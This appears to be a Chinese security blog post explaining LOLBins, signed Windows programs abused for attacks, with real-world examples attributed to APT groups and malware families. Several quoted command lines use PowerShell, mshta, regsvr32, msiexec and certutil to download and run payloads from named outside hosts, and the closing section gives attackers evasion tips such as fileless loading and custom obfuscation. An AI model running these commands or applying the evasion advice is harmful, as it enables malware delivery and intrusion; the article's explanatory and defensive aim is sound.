【Windows系列】LOLBins详解 | 攻防实战中的"白加黑"利用技术
原创 HW安全之路
今天跟大家聊聊LOLBins,这个在攻防对抗中特别是今年HVV中越来越流行的"白加黑"利用技术。
一、什么是LOLBins?
LOLBins全称是"Living-Off-the-Land Binaries",直译为"生活在陆地上的二进制"。
这个概念最初由Christopher Campbell和Matt Graeber在2013年DerbyCon黑客大会上提出,后来由Philip Goh正式命名为LOLBins。
简单来说,LOLBins就是利用系统自带的合法程序或第三方可信程序来执行恶意操作,实现攻击目的。这种技术能够有效规避杀软检测,是APT组织和红队渗透测试常用的攻击手法。
二、LOLBins的特征
那么,什么样的程序才能称之为LOLBins呢?一般需要满足以下特征:
微软签名的系统二进制文件,或第三方认证签名的程序
具有对APT或红队有用的特殊功能
除正常功能外,可执行意料之外的操作(如执行恶意代码、绕过UAC等)
三、LOLBins常见利用方式
下面我们来看看一些经典的LOLBins利用案例:
3.1 cmd.exe
作为最常见的命令行程序,cmd.exe可执行任意命令,常被用于启动恶意进程。
例如APT28的Zebrocy木马就使用如下命令收集系统信息:
cmd.exe /c SYSTEMINFO & TASKLIST
3.2 powershell.exe
PowerShell凭借其强大的脚本能力,成为黑客最爱的LOLBins之一。
Beapy挖矿木马就通过PowerShell下载执行恶意脚本:
IEX (New-ObjectNet.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)
3.3 rundll32.exe
rundll32用于加载DLL,常被用来执行shellcode。
APT29的Cobalt Strike木马就是通过rundll32加载后门:
rundll32.exe "hqwhbr.lck", #2
3.4 mshta.exe
mshta可执行HTA文件,常被用来绕过应用白名单。
某APT组织利用Flash 0day后,通过mshta执行远程HTA:
mshta.exe http://47.75.114.250/resources/project/1/e0eajvtw/be473cc3342b51cd4918f67f5dfc1e66/load.hta
3.5 regsvr32.exe
regsvr32用于注册COM组件,也可加载远程脚本。
暗云4木马就是通过regsvr32加载远程SCT脚本:
regsvr32 /u /s /i:http://js.0603bye.info:280/v.sct scrobj.dll
3.6 msiexec.exe
msiexec用于安装MSI包,也可从URL下载执行。
TA505组织就利用msiexec下载第一阶段payload:
msiexec.exe RETURN=800 /i http://79.141.171.160/alg /q ksw='%TMP%'
3.7 certutil.exe
certutil原本用于管理证书,但它也可以从远程URL下载文件。
某驱动人生永恒之蓝变种利用certutil下载挖矿程序:
certutil -urlcache -split -f http://dl.haqo.net/dll.exe c:/installs.exe
3.8 wmic.exe
wmic是Windows管理工具,可用于执行系统命令和收集信息。
APT28的另一个变种就使用wmic收集详细的系统信息:
wmic logicaldisk get Caption, Description,VolumeSerialNumber,Size,FreeSpace
四、LOLBins的进阶利用
除了上述常见的LOLBins,还有一些更隐蔽的利用方式值得关注:
4.1 MSBuild.exe
MSBuild是.NET框架的编译工具,可以执行特制的项目文件。海莲花APT组织就利用它来加载内存中的后门:
MSBuild.exe Document.csproj /p:AssemblyFile="TeamNotepadBackupWindowsConfig.mpeg" /p:ScriptFile="NetworkSupport.mpeg" /p:Key="SupportMapsDatabasesNotificationsDatabases"
4.2 Installutil.exe
Installutil是.NET的安装工具,可以执行程序集中的安装程序组件。某APT组织利用它来绕过应用白名单:
Installutil.exe /logfile= /U "InstallerAndroid.amv" /f="MapsLogsCoreWindowsProgram.flv" /k="FrameWorkSupport"
4.3 第三方签名程序
除了系统程序,一些第三方签名的可信程序也可能被利用。例如,海莲花APT组织就曾利用微信的正常加载过程来执行恶意代码。
五、LOLBins攻防启示
从以上案例可以看出,LOLBins技术本质是通过劫持系统合法程序的加载过程来执行恶意代码。这种"白加黑"的手法给杀软检测带来了巨大挑战。
作为防守方
,我们需要重点关注以下几点:
加强对系统关键程序的行为监控
建立白名单管控机制,限制未知程序执行
采用基于行为的检测技术,发现异常调用链
部署EDR等端点检测响应系统,实时监控可疑活动
对常见LOLBins进行重点审计,限制其潜在的滥用行为
加强员工安全意识培训,提高对社会工程学攻击的警惕性
作为攻击方
,则可以深入研究系统程序的加载机制,寻找新的LOLBins利用点。但同时也要注意,过度依赖LOLBins可能导致攻击特征过于明显。因此,在实际操作中,应当:
混合使用多种LOLBins,避免单一特征
结合文件less和内存加载技术,降低文件落地风险
使用自定义的加密和混淆方案,增加检测难度
研究最新的系统更新和补丁,及时调整利用策略
总之,LOLBins是一把双刃剑。我们既要认识到其威胁,也要善用其优势,在攻防对抗中占得先机。无论是红队还是蓝队,对LOLBins的深入理解和灵活运用,都将成为决定攻防成败的关键因素之一。